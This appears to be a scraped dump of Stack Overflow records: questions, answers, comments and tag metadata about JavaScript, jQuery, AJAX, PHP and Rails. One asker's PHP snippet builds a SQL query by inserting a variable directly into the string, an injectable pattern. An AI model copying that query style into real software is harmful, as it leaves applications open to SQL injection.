has body: format your JSON properly, so that it is easier for readers to work with. This kind of problem is best tackled with underscore library http://underscorejs.org/ This is your data: var data = [ { cardAid: "ALPHG", displayName: "ALPHG", port: "A" }, { cardAid: "ALPHG", displayName: "ALPHG", port: "B" }, { cardAid: "SFD", displayName: "SFD", port: "C" }, { cardAid: "SFD", displayName: "SFD", port: "D" }, { cardAid: "ARR", displayName: "ARR", port: "E" } ]; This is the code your need: var result = _.map(_.groupBy(data, "cardAid"), function(group, cardAid) { return { cardAid: cardAid, count: _.size(group), port: _.pluck(group, "port") }; }); This is the result you get: // result: // [ // { // "cardAid": "ALPHG", // "count": 2, // "port": ["A", "B"] // }, // { // "cardAid": "SFD", // "count": 2, // "port": ["C", "D"] // }, // { // "cardAid": "ARR", // "count": 1, // "port": ["E"] // } // ]
type: Answer

http://stackoverflow.com/comment/40469485
has text: And congrats to the author for the rapid answer :)
comment on: http://stackoverflow.com/a/25851468
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/q/25789139
tagged with: jquery
has comment: http://stackoverflow.com/comment/40336906
has answer: http://stackoverflow.com/a/25790386
has comment: http://stackoverflow.com/comment/40334633
tagged with: ajax
type: Question
has comment: http://stackoverflow.com/comment/40335498
has comment: http://stackoverflow.com/comment/40336225
score: 0
has comment: http://stackoverflow.com/comment/40334951
accepted answer: http://stackoverflow.com/a/25790386
has comment: http://stackoverflow.com/comment/40335400
answer count: 1
has body: i'm working on some grails code and geting this error whenever the ajax function is getting the response from the controller action! the Ajax function is passing the parameters and controller function is performed after the return i get this error from the browser developing tool. $.ajax({ url: urlMap.myUrl_url, type: "POST", dataType: 'JSON', data: { pId: pId, stId: stId }, success: function (data) { $supplementaryHolder.html(data); } }) Here is the controller function ! def deleteSupplementary = { if (!modifyService.deletePlacement(params.long('pId'))) { flash.error = g.message(code: 'student.delete.placement.failed') } return params.stId; }
has comment: http://stackoverflow.com/comment/40336772
has comment: http://stackoverflow.com/comment/40334953
has comment: http://stackoverflow.com/comment/40335567
tagged with: grails
has comment: http://stackoverflow.com/comment/40334758
type: AnsweredQuestion
has title: Ajax POST MyUrl 404 (Not Found)
tagged with: javascript

http://stackoverflow.com/comment/40337821
type: QuestionComment
comment on: http://stackoverflow.com/q/25790778
score: 0
type: Comment
has text: @Pointy Interesting, I'll add a screenshot of what I get in Chrome.

http://stackoverflow.com/q/25812939
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25813482
has body: When i toggle the div showing below the buttons at the bottom of the div are displaying in a different/separated way (most part of the code are from another question here). How can it make it as a part of the wrapper div to slide out together? Thanks. css: .more { display: none } html: Show more Risk Calculator Some text Some title Some text Some text Some text Some text Some text Some text Some text Some text Some text Some text Some text Some text Some text Some text Some text Some text Some text Some text Some text Some title Some text JavaScript: $('#showhide').click(function(){ $('.more').toggle('slow') }) See it in fiddle http://jsfiddle.net/J2YgE/31/
tagged with: hide
tagged with: toggle
type: Question
possible better answer: http://stackoverflow.com/a/25813482
tagged with: javascript
tagged with: jquery
score: 0
answer count: 2
tagged with: http://stackoverflow.com/tag/html
has title: Show/hide/toggle display as a whole div
has answer: http://stackoverflow.com/a/25813076
linked to: http://stackoverflow.com/q/13797050
accepted answer: http://stackoverflow.com/a/25813076

http://stackoverflow.com/a/78373174
has body: I needed something to replace quotes in text with node-js. The accepted answer should always used If in a browser context! My solution if you need something in nodejs // The simple replace used by the next function function quoteReplace(string) { return string.replace(/"(.*?)"/gm, "„$1“"); } // Respecting html function quoteReplaceRespectingHtml(string) { if (string.match(/<[^>]+>/)) { const split = string.split(/(<[^>]+>)/); return split .map(part => { if (part.match(/<[^>]+>/)) { return part; } else { return quoteReplace(part); } }) .join(""); } else { return quoteReplace(string); } } // TEST RUN quoteReplaceRespectingHtml(`das ist ein Text mit Quotes siehe: "toll" einfach super idee test "test" Weird test: "test"-bla `)
answers question: http://stackoverflow.com/q/25742862
downvote count: 0
type: Answer
score: 1
upvote count: 1

http://stackoverflow.com/comment/40250539
type: AnswerComment
has text: Thanks for putting me onto the right track. As there was more than one cell for table-days, I had to modify it to go: $this.parent().parent().children('.table-day-label').children('table-day-labels'). Cheers!
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25740857

http://stackoverflow.com/q/25805795
tagged with: php
has body: I have tried searching around for a solution to my problem and I can't find any. I wondered if anyone could help me out. Basically I'm trying to let a user type in a variable so that they can see a google chart with the data they specifically request. The chart is set up to do a ajax json request to another php script, though. Here is my code. (I've deliberately left out the irrelevant code.) HTML FORM, Enter Variable or % For All Variables: Google Chart PHP Page include "C:\wamp\www\includes\header.php"; // Load the Visualization API and the piechart package. google.load('visualization', '1', {'packages':['corechart']}); // Set a callback to run when the Google Visualization API is loaded. google.setOnLoadCallback(drawChart); function drawChart() { var jsonData = $.ajax({ type: "POST", url: "http://localhost/query/MEAS.php", dataType:"json", async: false }).responseText; // Create our data table out of JSON data loaded from server. var data = new google.visualization.DataTable(jsonData); PHP JSON QUERY (MEAS.PHP) <?php $conn = mysqli_connect('***', '***', '***'); if (!$conn) { echo "Unable to connect to DB: " . mysql_error(); exit; } if (!mysqli_select_db($conn, "TRACK")) { echo "Unable to select mydbname: " . mysql_error(); exit; } $result = $conn->query("SELECT VARIABLE, var1, var2, var3, var4 FROM MEASTEST WHERE VARIABLE LIKE '$VARIABLE' "); // creates column nsmes, nothing to do with query // $table = array(); $table['cols'] = array( array('id' => "", 'label' => 'VARIABLE', 'pattern' => "", 'type' => 'string'), array('id' => "", 'label' => 'VAR1', 'pattern' => "", 'type' => 'number'), array('id' => "", 'label' => 'VAR2', 'pattern' => "", 'type' => 'number'), array('id' => "", 'label' => 'VAR3', 'pattern' => "", 'type' => 'number'), array('id' => "", 'label' => 'VAR4', 'pattern' => "", 'type' => 'number'), ); $rows = array(); while ($nt = $result->fetch_assoc()) { $temp = array(); $temp[] = array('v' => $nt['VARIABLE'], 'f' =>NULL); $temp[] = array('v' => $nt['V…
has comment: http://stackoverflow.com/comment/40365623
upvote count: 0
tagged with: http://stackoverflow.com/tag/json
has comment: http://stackoverflow.com/comment/40365351
type: Question
answer count: 2
tagged with: google-visualization
has title: Passing Variable from html form, google chart ajax request for json data
tagged with: javascript
score: -1
tagged with: ajax
has answer: http://stackoverflow.com/a/25858748
downvote count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/40365550
has answer: http://stackoverflow.com/a/25805964
type: UnansweredQuestion

http://stackoverflow.com/comment/40413366
type: Comment
has text: I don't really know, but should be, while it works different.
comment on: http://stackoverflow.com/a/25732123
score: 0
type: AnswerComment

http://stackoverflow.com/q/25750114
has body: I have been trying to stop the sidebar from overflowing the footer in a child theme from Twenty Thirteen in Wordpress 4.0. I added the following CSS code that I found in another post on another site. CSS: /* Fix Sidebar Overlaping Footer*/ .sidebar .entry-header, .sidebar .entry-content, .sidebar .entry-summary, .sidebar .entry-meta { padding: 0px 20px 0px 20px; max-width: 100%; } .sidebar .site-footer .widget-area { max-width: 1040px; left: 0px; margin-top:10px!important; } .hentry { padding: 20px 0px; } @media (min-width: 999px) { #main { overflow: hidden; margin: 0px auto; max-width: 1080px; } #primary.content-area { width: 68%; float: left; } .site-main .sidebar-container { position: static; float: right; width: 30%; height: auto; } .site-main .widget-area { margin-top: 24px; margin-right: 20px; } } The problem is that there is javascript (functions.js in twentythirteen/js) that is adding a huge top-margin to the footer which you can see the results of here: http://tcsdesignreno.com/addnv/ Javascript: /** * Adds a top margin to the footer if the sidebar widget area is higher * than the rest of the page, to help the footer always visually clear * the sidebar. */ $( function() { if ( body.is( '.sidebar' ) ) { var sidebar = $( '#secondary .widget-area' ), secondary = ( 0 === sidebar.length ) ? -40 : sidebar.height(), margin = $( '#tertiary .widget-area' ).height() - $( '#content' ).height() - secondary; if ( margin &gt; 0 &amp;&amp; _window.innerWidth() &gt; 999 ) { $( '#colophon' ).css( 'margin-top', margin + 'px' ); } } } ); Does anyone have a solution that works to stop the sidebar from overlapping the footer or to stop the js from adding the top margin? I know I have done this before but I can't seem to find the correct combination of code. Thanks in advance, Matt
tagged with: sidebar
tagged with: javascript
score: 0
answer count: 1
has answer: http://stackoverflow.com/a/27507523
tagged with: css
type: UnansweredQuestion
tagged with: wordpress
has title: Twenty Thirteen and sidebar overflows footer - Top Margin
type: Question

http://stackoverflow.com/q/25853345
possible better answer: http://stackoverflow.com/a/25853426
score: 0
has answer: http://stackoverflow.com/a/25853426
answer count: 3
tagged with: datatables
tagged with: attributes
has answer: http://stackoverflow.com/a/25853489
has answer: http://stackoverflow.com/a/25853424
has comment: http://stackoverflow.com/comment/40452659
type: AnsweredQuestion
type: Question
tagged with: html-table
has title: Retrieve data attribute of a selector class as an array
accepted answer: http://stackoverflow.com/a/25853424
has body: I am running a PHP + JQuery + DataTables page. Everything went fine and I have a similar mark up from the following: ....... .... .... .... .... .... .... .... . . . I need to get all the data attribute of all the tr in an array, well in the case of the above table, its: var data_values = [1, 2, 8, 7]; I think that the logic may somewhat starts with $('tr').attr('data') but it returns undefined. I've performed already a query to the database and it also returns an array: var database_returned_values = [2, 8]; My goal from the start is to remove the tr elements that are not found in the database_returned_values array. My solution is to subtract database_returned_values array from data_values. The difference will be the trs to remove. But I cannot even start to fetch data_values. How can I retrieve the data attributes of all tr and put it in an array or are there any easier way to do this? In this case, the trs to remove are those which have data attribute of [1, 7];
tagged with: javascript
tagged with: jquery

http://stackoverflow.com/comment/40403962
type: Comment
type: QuestionComment
has text: Well, since IntelliSense is a Microsoft implementation, so that would be .. VS. (The [ReSharper extension, at least from 6, does have some *autocomplete*-filtering support](http://gurustop.net/blog/2012/03/03/javascript-js-intellisense-auto_complete-in-visual-studio-11-beta-the-web-_references-js-file/), but it can only guess so much from the lack-of-types-in-context.)
comment on: http://stackoverflow.com/q/25826713
score: 0

http://stackoverflow.com/comment/91737251
comment on: http://stackoverflow.com/a/33368115
type: AnswerComment
score: 0
type: Comment
has text: That was my problem, too. I removed jquery from the scripts section in angular.js and also deleted "import * as $ from 'jquery'" from the Typescript and everything worked.

http://stackoverflow.com/comment/40356658
score: 0
type: Comment
type: QuestionComment
has text: For ngModelController name interpolation `{{}}` do not work. Look at ng-form directive.
comment on: http://stackoverflow.com/q/25800250

http://stackoverflow.com/q/25736656
has answer: http://stackoverflow.com/a/25736694
type: AnsweredQuestion
tagged with: javascript
has comment: http://stackoverflow.com/comment/40239731
type: Question
score: 0
answer count: 2
tagged with: arrays
has body: I am currently working on a problem in coderbytes. I am supposed to create a function that takes in a string and returns the longest word in the string(no punctuation will be in the string and if there are two words the same size the function should return the first one). I was able to find a similar question Find the longest word/string in an array, but for some reason my code is not working. var longestword = function(string){ var longest = []; array = string.split(" "); for(var i = 0; i &lt;= array.length; i++){ if(array[i].length &gt; longest.length){ longest = array[i]; } } console.log(longest) } longestword("This isnt workin for some reason") The error I am getting is TypeError: array[i] is undefined
has comment: http://stackoverflow.com/comment/40239722
tagged with: string
has answer: http://stackoverflow.com/a/25736678
linked to: http://stackoverflow.com/q/19987389
has title: Finding longest word in array
possible better answer: http://stackoverflow.com/a/25736694
accepted answer: http://stackoverflow.com/a/25736678

http://stackoverflow.com/comment/40299343
comment on: http://stackoverflow.com/q/25769405
score: 0
has text: https://docs.angularjs.org/api/ng/service/$timeout
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40444031
type: Comment
comment on: http://stackoverflow.com/q/25848388
score: 0
has text: Replace `showErr()` with `console.log(err)` to be super sure that you log error. Many things can be broken, can you share more code (routes, template, etc ) ?
type: QuestionComment

http://stackoverflow.com/a/25792952
accepted answer of: http://stackoverflow.com/q/25792824
type: Answer
has comment: http://stackoverflow.com/comment/40342575
has comment: http://stackoverflow.com/comment/40342899
has body: For your case you can try use setTimeout: $(document).ready(function() { $.ajaxSetup({ cache: false }); var delay = 2000, toggleDiv; toggleDiv = function() { var isVisible = $('#container').css("display") == "none"; if(isVisible) { setTimeout(toggleDiv, 10000); $("#container").toggle( "clip", "slow" ); $.getJSON('data.json', function (data) { document.getElementById("user").innerHTML = "&lt;h1&gt;@" + data.user.screen_name + "&lt;/h1&gt;"; }); } else { setTimeout(toggleDiv, 1000); $("#container").toggle( "clip", "slow" ); } }; setTimeout(toggleDiv, delay); });
score: 0
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/25792824

http://stackoverflow.com/comment/40452080
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25852695
score: 0
has text: @Andy can you tell me what are those pitfalls

http://stackoverflow.com/comment/40250395
score: 0
has text: Yes, the answer is no, you don't have access to the arguments from `processFiles` in the `callback` function, unless you somehow pass them, and there's many ways to pass something, but the easiest would be to just pass arguments to `callback`, like above.
type: Comment
comment on: http://stackoverflow.com/a/25742720
type: AnswerComment

http://stackoverflow.com/a/25784764
answers question: http://stackoverflow.com/q/25784166
type: Answer
score: 4
has body: One quite nifty way to do this, is to create an a element, and assign the URL you have as href - because the HTMLAnchorElement interface implements URLUtils, and therefor supports accessing the individual parts of the address in the same way the location object does, and you can set them individually as well: var foo = document.createElement("a"); foo.href = "http://www.example.com:8080/hello/"; foo.port = "" var newURL = foo.href; console.log(newURL); // output: http://www.example.com/hello/ http://jsfiddle.net/pdymeb5d/
upvote count: 4
downvote count: 0

http://stackoverflow.com/comment/40319779
comment on: http://stackoverflow.com/a/25780345
type: AnswerComment
score: 0
type: Comment
has text: Some things here are new to me like the addEventListener function. But I'll research that on my own. Thank you for making these improvements to my coding as it's a good practice to master good coding conventions earlier on.

http://stackoverflow.com/a/60910068
has body: function Speech() { var fileName = new Date().getTime(); $.ajax({ url: Host + "api/speech", data: { 'text': $("input[id='searchBox']").val(), 'language': $("input[id='languageChoice']:checked").val(), 'fileName': fileName }, dataType: "json", type: "Get", contentType: "application/json; charset=utf-8", success: function () { var audioUrl = Host + '/Assets/Audio/' + fileName + '.mp3'; var audio = new Audio(audioUrl); audio.load(); audio.play(); } }); }
answers question: http://stackoverflow.com/q/25821915
score: 0
type: Answer

http://stackoverflow.com/q/25762189
score: 1
possible better answer: http://stackoverflow.com/a/37051929
tagged with: javascript
has title: Which plugin used by gmail to show mail time or date?
has answer: http://stackoverflow.com/a/37051929
type: Question
accepted answer: http://stackoverflow.com/a/25764144
downvote count: 0
tagged with: jquery
favorite count: 0
answer count: 3
has body: I wanted to know that which js plugin used by gmail to show mail time(if today's mail) or date. If mail received today itself then it shows time '1:18 pm' otherwise date like 'sep 5'. And if mail was received i last year then it showing date like '11/12/13'. Is there any js plugin or rails to do that ? Like this Thanks
tagged with: datetime
tagged with: gmail
has answer: http://stackoverflow.com/a/25764144
has answer: http://stackoverflow.com/a/37025366
upvote count: 1
tagged with: ruby-on-rails
type: AnsweredQuestion

http://stackoverflow.com/q/25820222
answer count: 2
downvote count: 0
has body: I am trying to display the javascript date time picker in a textbox on the content page, that is derived from the master page, but the datetime picker is not getting displayed. This is my content page: &lt;link rel="stylesheet" href="Datepicker.css"&gt; &lt;script src="https://code.jquery.com/jquery.js"&gt;&lt;/script&gt; &lt;script src="Datepicker.js"&gt;&lt;/script&gt; &lt;script&gt; $(document).ready(function() { $('#dp').datepicker(); }); &lt;/script&gt; &lt;script&gt; $(document).ready(function() { $('#dp1').datepicker(); }); &lt;/script&gt; &lt;/asp:Content&gt; &lt;asp:Content ID="Content2" ContentPlaceHolderID="ContentPlaceHolder1" runat="server"&gt; &lt;asp:Label ID="Label1" runat="server" Text="From"&gt;&lt;/asp:Label&gt;&amp;nbsp; &lt;input id="dp" type="text" runat="server"/&gt;&amp;nbsp; &lt;asp:Label ID="Label2" runat="server" Text="To"&gt;&lt;/asp:Label&gt;&amp;nbsp; &lt;input id="dp1" type="text" runat="server" /&gt;&amp;nbsp; &lt;asp:Button ID="Button1" runat="server" Text="Search" onclick="Button1_Click" /&gt; &lt;asp:GridView ID="gvdetails" runat="server"&gt; &lt;/asp:GridView&gt; &lt;/asp:Content&gt; Note: This works without the master page,but when I add it in a content page,it does not work.Please help
tagged with: asp.net
favorite count: 0
accepted answer: http://stackoverflow.com/a/25820272
has title: Javascript does not work in asp.net content page
type: AnsweredQuestion
score: 1
upvote count: 1
possible better answer: http://stackoverflow.com/a/25820318
type: Question
has answer: http://stackoverflow.com/a/25820318
has answer: http://stackoverflow.com/a/25820272
tagged with: javascript

http://stackoverflow.com/comment/40454156
type: QuestionComment
has text: Malkus, I get this error`Error: [$injector:unpr] http://errors.angularjs.org/1.2.22/$injector/unpr?p0=%24routeParamsProvider%20%3C-%20%24routeParams at Error (native) at http://localhost:5555/Scripts/angular.min.js:6:450 at http://localhost:5555/Scripts/angular.min.js:36:145 at Object.c [as get] ....`
comment on: http://stackoverflow.com/q/25852466
score: 0
type: Comment

http://stackoverflow.com/a/25857367
type: Answer
has comment: http://stackoverflow.com/comment/40462068
score: 2
answers question: http://stackoverflow.com/q/25856233
downvote count: 0
has comment: http://stackoverflow.com/comment/40462275
has comment: http://stackoverflow.com/comment/40462049
has comment: http://stackoverflow.com/comment/40461299
has body: I think the root problem is that you create a single $.Deferred() and then you try to reuse it for multiple calls to execute() and that won't ever work. A deferred is a one-shot trigger. Once it has been fulfilled or rejected it stays that way and contains the same data forever. If you want a different result on subsequent calls, you have to create a new deferred for each call. So, because you were creating your deferred outside of the execute() function, you only ever had one deferred and thus the first result would just stick forever. The fix here is to use a separate promise/deferred for each call to execute(). Since $.ajax() already returns a new promise each time you call it - you can use that instead of creating your own $.Deferred manually which is an anti-pattern. Let's refactor and solve both issues at once. Here's your function refactored so solve those issues: var execute = function (followUrl) { return $.ajax({ url: _spPageContextInfo.webAbsoluteUrl + followUrl, method: "GET", headers: {"accept": "application/json;odata=verbose"} }); }; Then, in this line of code: FLEX.Following.Process.execute(followUrl).promise().then( You should remove the .promise() because my change above is already returning a promise so this line can just become this: FLEX.Following.Process.execute(followUrl).then(
upvote count: 2
has comment: http://stackoverflow.com/comment/40461430

http://stackoverflow.com/comment/40393754
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25820876
score: 0
has text: for the first call it works but not for the second in the get

http://stackoverflow.com/comment/40489901
type: Comment
score: 0
comment on: http://stackoverflow.com/a/25873514
type: AnswerComment
has text: It was implied, but even after trying your updates im still getting the same return. The first example will set them all to the Right and the second example is setting them all to the Left. It's like it doesn't want to accept the selector

http://stackoverflow.com/a/25784520
type: Answer
has body: use this snippet JS $(".frame").each( function(){ var imageUrl = $(this).find('img').attr("src");; $(this).css('background-image', 'url(' + imageUrl + ')'); $(this).find('img').css("visiblity","hidden"); }); Css .frame{ background-size:cover; background-position:50% 50%; }
answers question: http://stackoverflow.com/q/25784207
score: 0

http://stackoverflow.com/q/25854541
accepted answer: http://stackoverflow.com/a/25876271
tagged with: javascript
tagged with: jquery
score: -1
has comment: http://stackoverflow.com/comment/40457656
has title: Bring rails object in javascript array
tagged with: ruby-on-rails-4
upvote count: 0
answer count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/40455765
has comment: http://stackoverflow.com/comment/40494455
has comment: http://stackoverflow.com/comment/40455096
type: AnsweredQuestion
has body: Is it possible to get in a js array, the values of the names of an user controller? If I have a controller that have name, username, password, birthday, etc., and I want to retrieve just the name in a javascript array like bellow: var user_names = ["firstuser","seconduser","thirduser"] How can I do that? Another thing is that I want to use this to a search input, in the main page (/index). I think the controller is the application_controller, but for now, im testing in the user controller. Bellow is the controller. Its not a 'user' its a student (aluno). The alunos2 is just a test. # encoding: utf-8 class AlunosController &lt; ApplicationController before_action :set_aluno, only: [:show, :edit, :update, :destroy] before_action :authenticate_user! helper_method :sort_column, :sort_direction def autocomplete render json: Aluno.search(params[:query], autocomplete: true, limit: 10).map(&amp;:nome) end # GET /alunos # GET /alunos.json def index @alunos2 = Aluno.all @alunos = Aluno.search(params[:search]).order("LOWER(#{sort_column}) #{sort_direction}").paginate(:per_page =&gt; params[:npage], :page =&gt; params[:page]) end # GET /alunos/1 # GET /alunos/1.json def show end # GET /alunos/new def new @aluno = Aluno.new end # GET /alunos/1/edit def edit end # POST /alunos # POST /alunos.json def create @aluno = Aluno.new(aluno_params) respond_to do |format| if @aluno.save format.html { redirect_to alunos_url, notice: 'Aluno foi criado com sucesso.' } format.json { render :show, status: :created, location: @aluno } else format.html { render :new } format.json { render json: @aluno.errors, status: :unprocessable_entity } end end end # PATCH/PUT /alunos/1 # PATCH/PUT /alunos/1.json def update respond_to do |format| if @aluno.update(aluno_params) format.html { redirect_to @aluno, notice: 'Aluno foi atualizado com sucesso.' } format.json { render :show, status: :ok, location: @aluno } else format.html { render :edit } format.json { render json: @aluno.errors, status: :unprocessab…
has comment: http://stackoverflow.com/comment/40455260
has comment: http://stackoverflow.com/comment/40493946
has comment: http://stackoverflow.com/comment/40471875
has answer: http://stackoverflow.com/a/25876271
tagged with: ruby-on-rails
downvote count: 1
type: Question

http://stackoverflow.com/comment/40262706
score: 0
has text: @Mark the problem was in the plugin. I put in my code the same of the example and all works well! Thanks a lot.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25748634

http://stackoverflow.com/q/25757832
has comment: http://stackoverflow.com/comment/40278401
has comment: http://stackoverflow.com/comment/40278412
upvote count: 1
has answer: http://stackoverflow.com/a/25757917
answer count: 4
has answer: http://stackoverflow.com/a/25757890
has answer: http://stackoverflow.com/a/25757906
tagged with: javascript
linked to: http://stackoverflow.com/q/46155
type: UnansweredQuestion
score: -3
linked to: http://stackoverflow.com/q/201323
has answer: http://stackoverflow.com/a/25757902
downvote count: 4
favorite count: 0
has body: I have to make an email validation that an Email address must start with a string followed by '@', followed by another string with Javascript. Can someone show me how please? I used this code but it gives me an error if I use a dot sign only not for every single character. var email=document.forms["subscriptionForm"]["email"].value; var atCharacter = email.indexOf("@"); var dotCharacterAfterAt = email.indexOf('.', atCharacter + 1); var dotLastCharacter=email.indexOf('.', atCharacter - 1); var dotPosition=email.lastIndexOf("."); if (atCharacter &lt; 1 || dotPosition &lt; atCharacter+2 || dotPosition + 2 &gt;= email.length) {/* I got this code from http://www.w3schools.com/js/js_form_validation.asp */ alert("Incorrect E-Mail address"); return false; } if (email[0] == '.'){ alert("You can't enter a dot character as a first character") return false } if (email==null || email=="") { alert("E-Mail must be filled out !"); return false; } if(atCharacter + 1 == dotCharacterAfterAt){ alert("You must enter a string after the @ sign"); return false; } if (atCharacter - 1 == dotLastCharacter){ alert("You must not enter a string before the @ sign in your address"); return false; } if (dotPosition == email.length - 1) { alert("You must not enter a dot as a last character in your address");/* an error will occur and tells you that you must not enter a "." character as a last character in your address*/ return false; }
type: Question
has comment: http://stackoverflow.com/comment/40278398
has title: Email Validation with js

component.io
tag name: component.io
type: Tag
tags question: http://stackoverflow.com/q/25764616

http://stackoverflow.com/comment/40298753
type: QuestionComment
has text: Glancing over your code, it looks like it should work. What have you done so far to find out what the source of the problem is?
comment on: http://stackoverflow.com/q/25769057
score: 0
type: Comment

http://stackoverflow.com/comment/40386082
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/25816597
has text: Does getLocation return a promise?

angular-google-maps
tags question: http://stackoverflow.com/q/25833519
tag name: angular-google-maps
type: Tag

http://stackoverflow.com/comment/40447088
has text: OK, now I get what you need to achieve. Do you want to persist content of the iframe between postback only or between navigation too?
comment on: http://stackoverflow.com/a/25849604
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/comment/40308265
has text: whats wrong with this answer? he asked about js, no?
comment on: http://stackoverflow.com/a/25770187
type: Comment
type: AnswerComment
score: 0

http://stackoverflow.com/q/25849978
answer count: 2
tagged with: javascript
has body: At my Ajax response there is two variable: js, html. The js variable contents Javascript in tag script: //Some code And html contents HTML template. How I can execute js code for html template from the successful response Ajax? I tried this solution: $('head').append(response.js); // not works The full Ajax request: getFormShare: function(type){ var posting = $.post('/share/getFormShare', { type : type } ); posting.done(function( response ) { response = $.parseJSON(response); $("head").append(response.js); $('.ShareBlock #block').html(response.html).show(); initFileUpload(config); initEditor(); }); } The PHP side: $js = $this-&gt;listdata-&gt;WrapperJavaScript($specialization, array('name_field' =&gt; 'type[]', 'tab' =&gt;'tab', 'div_element' =&gt; '.specMain', 'label' =&gt; 'Category', 'autosearch' =&gt; 'true')); $html = $this-&gt;load-&gt;view('social/forms/video', $this-&gt;data, true); echo json_encode(array('html' =&gt; $html, 'js' =&gt; $js)); die();
tagged with: jquery
accepted answer: http://stackoverflow.com/a/25849997
tagged with: ajax
has comment: http://stackoverflow.com/comment/40447083
possible better answer: http://stackoverflow.com/a/25850172
has answer: http://stackoverflow.com/a/25850172
type: AnsweredQuestion
has title: How execute javascript at response from Ajax?
linked to: http://stackoverflow.com/q/950087
type: Question
score: 0
has answer: http://stackoverflow.com/a/25849997

http://stackoverflow.com/comment/40240020
has text: since the field is a element you cannot use find() on it you need to use filter().
comment on: http://stackoverflow.com/a/25736841
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/q/25783458
tagged with: select
type: Question
has answer: http://stackoverflow.com/a/25784552
tagged with: javascript
answer count: 1
has body: is there a way to call the event of toggling &lt;select&gt; input from javascript? I want to create the behavior of &lt;select&gt; on mobile, because it has built-in user interface of an overlay (see Chrome) or a roulette (see Safari on iPhone), when you toggle the &lt;select&gt; from mobile browser. But the problem is the &lt;select&gt; button has an ugly interface. I want to make a normal button that will call the &lt;select&gt; from Javascript. Preferably an Angular way, not the jQuery way.
has title: Toggle Input Select from Javascript
tagged with: angularjs
tagged with: http://stackoverflow.com/tag/html
tagged with: input
type: UnansweredQuestion
score: 0

http://stackoverflow.com/comment/40280620
type: Comment
has text: Thanks for your useful comment ~ i could send the "who is typing..." to all the connected user. However, I cannot send the user type message to the user. Did you know what happen? I have edited my code above ~
comment on: http://stackoverflow.com/a/25759022
score: 0
type: AnswerComment

http://stackoverflow.com/q/25801825
tagged with: google-maps-api-3
tagged with: google-maps-markers
upvote count: 1
tagged with: jsp
favorite count: 0
has title: How to integrate arrows as a marker in google map?
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40431462
has comment: http://stackoverflow.com/comment/40373456
answer count: 0
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/40431095
has body: I implemented google map in jsp. everything is fine. our project is ITS(Intelligent Transport System). Here every time we have to track the vehicle and show its position and direction of vehicle in map.For that we used map and create markers according to lat and lng values we are getting. We use a Bus icon to show a vehicle but its not looking good. So we thought to change it to arrow (like Navigation in smartphone). The code for creating marker is, function createMarker(point, number,vn,position) { var busimage=""; if(position=="same") { busimage="Resources/travel_bus1.png"; }else if(position=="notsame") { busimage="Resources/travel_bus3.png"; } var marker = new google.maps.Marker({ position: point, map: map, raiseOnDrag: true, icon:busimage, // animation: google.maps.Animation.DROP, draggable: false, zIndex: number, id:vn }); var html = number; var infowindow = new google.maps.InfoWindow({ content: 'Latitude: ' + point.lat() + '&lt;br&gt;Longitude: ' + point.lng() + '&lt;br&gt;BusNo : '+ marker.get("id"), maxwidth: 1000 }); So now we have to change bus icon to arrow icon and also we have to show the direction of the vehicle is moving. I have searched some online resources but it was useless. I am getting only implementing map in jsp. So can anyone help me to add arrow in map according to lat lng I am getting along with the direction. If you know any online resource also help full to me. Thank you . .
type: Question
tagged with: google-maps
tagged with: javascript

http://stackoverflow.com/comment/40475422
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25865337
type: Comment
has text: @Süleyman Yelgeç Is this what you are looking for? http://jsfiddle.net/go4vaibhav/msuL0yta/120/

http://stackoverflow.com/comment/40425593
has text: are you familiar with css float property ?
comment on: http://stackoverflow.com/q/25838398
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25852653
tagged with: mocha.js
type: AnsweredQuestion
downvote count: 0
score: 1
tagged with: end-to-end
has title: Testing javascript functions across page load
favorite count: 0
linked to: http://stackoverflow.com/q/13689110
type: Question
has answer: http://stackoverflow.com/a/25853203
has body: I have a code that works with state. On every state change the current state is saved to sessionStorage and when user comes to different page that state is loaded back from sessionStorage. I want to test that state is properly saved to storage and on page load is properly loaded back. But I don't know how to test this scenario. I'm currently using Mocha, but I know only how to write unit tests in it.
accepted answer: http://stackoverflow.com/a/25853203
upvote count: 1
answer count: 1
tagged with: unit-testing
has comment: http://stackoverflow.com/comment/40451379
tagged with: javascript

http://stackoverflow.com/q/25816061
has title: Detect if mobile - if yes use java01.js , if not mobile use java02.js
score: 0
tagged with: http://stackoverflow.com/tag/html
answer count: 1
has body: Complete beginner (hobbyist) here so this is probably a total noob question. I have two javascripts. One is for mobile users, other is for desktop users. Right now I have in my html: &lt;script type="text/javascript" src="../java_file.js"&gt; &lt;/script&gt; It works wonderfully but I want to have a different js file run when screen width is less than 480. I want to do something along these lines: &lt;script type="text/javascript" if (screen.width &lt; 480) { src=".../java_file_mobile.js"&gt; } else { src=".../java_file.js"&gt; } &lt;/script&gt; This is my first time building a site and I'm learning the code as I go. Any assistance would be great. Thanks!
has comment: http://stackoverflow.com/comment/40384854
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/610995
has answer: http://stackoverflow.com/a/25816528
type: Question
tagged with: mobile
has comment: http://stackoverflow.com/comment/40384881
tagged with: javascript

http://stackoverflow.com/comment/40318036
has text: There is a comment that that answer has the maths wrong, I guess I need to check it now… Oh, now I see. This one looks at the viewport, whereas your element is inside a parent. Hmm… that gets more complex.
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25779542

http://stackoverflow.com/comment/40233234
score: 0
comment on: http://stackoverflow.com/q/25733202
type: Comment
type: QuestionComment
has text: I'm sorry, I'm just really frustrated. The problem is that the old generated circle won't delete when I drag the slider over again...

php
tags question: http://stackoverflow.com/q/25828672
tags question: http://stackoverflow.com/q/25788334
tags question: http://stackoverflow.com/q/25757769
tags question: http://stackoverflow.com/q/25850664
tags question: http://stackoverflow.com/q/25793203
